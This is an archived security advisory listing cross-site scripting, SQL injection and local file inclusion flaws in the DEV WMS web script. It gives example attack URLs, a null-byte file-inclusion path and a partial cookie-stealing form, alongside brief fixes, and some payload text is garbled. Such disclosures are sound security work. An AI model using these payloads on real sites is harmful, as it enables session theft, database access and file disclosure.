AOH :: HP Unsorted D :: BX3920.HTM

DEV WMS Multiple Vulnerabilities



DEV WMS Multiple Vulnerabilities
DEV WMS Multiple Vulnerabilities



----------------------------------------------------------------

Script : DEV WMS

Type : Multiple Vulnerabilities ( Local file inclusion / Cross Site Scripting / SQL Injection )

Alert : High

----------------------------------------------------------------

Discovered by : Khashayar Fereidani Or Dr.Crash

My Website : HTTP://FEREIDANI.IR

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Script Download : http://dev-wms.sourceforge.net/

----------------------------------------------------------------

XSS Vulnerability 1 :

Variable Sent Method : GET

Vulnerable Variable : session

Address : ><>>">http://Example.com/?session=">><>>

Solution : filter session variable with htmlspecialchars() function ...

----------------------------------------------------------------

Xss Vulnerability 2 :

Variable Sent Method : POST

Vulnerable Variable : kluc

Address : http://Example.com/index.php?session=0&action=search

change example.com to script address in a real site and save as ircrash.html , open file with browser and see your cookie .




action="http://Example.com/index.php?session=0&action=search" method="POST" name="form">
Solution : filter kluc variable with htmlspecialchars() function ... ---------------------------------------------------------------- SQL Injection : Method Of Send : GET Vulnerable Variable : article Address : http://Example.com/index.php?session=0&action=read&click=open&article=[SQL CODE] Solution : Filter danger caracter for article variable ... ---------------------------------------------------------------- Local file inclusion : Method Of Send : GET Vulnerable Variable : step Address : http://Example.com/admin/index.php?start=install&step=file.type%00 Solution : Filter step variable with if function ... ---------------------------------------------------------------- Tnx : God HTTP://IRCRASH.COM ----------------------------------------------------------------

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.